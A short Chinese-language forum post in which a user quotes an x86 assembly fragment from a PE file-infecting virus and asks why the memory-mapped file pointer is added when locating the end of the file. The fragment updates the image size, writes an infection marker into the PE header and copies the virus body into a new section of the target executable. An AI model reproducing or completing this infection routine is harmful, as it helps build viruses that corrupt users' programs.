阅读:1678回复:0
请教高手
mul ecx
xchg eax,ebx ;还原 eax->pe_Header mov [eax+50h],ebx ;保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度 ;$ mov dword ptr [eax+8],\'dark\' ;病毒感染标志直接写到被感染文件的PE头中 cld mov ecx,VirusLen mov edi,[ebp+oldEnd] add edi,[ebp+pMem] ;pMem是指向映射到内存的第一个字节的指针 不懂就是这为什么到了文件尾后还要加这个内存映射呢,请高手告诉我 lea esi,[ebp+vBegin] rep movsb ;将病毒代码写入目标文件新建的节中! |
|
|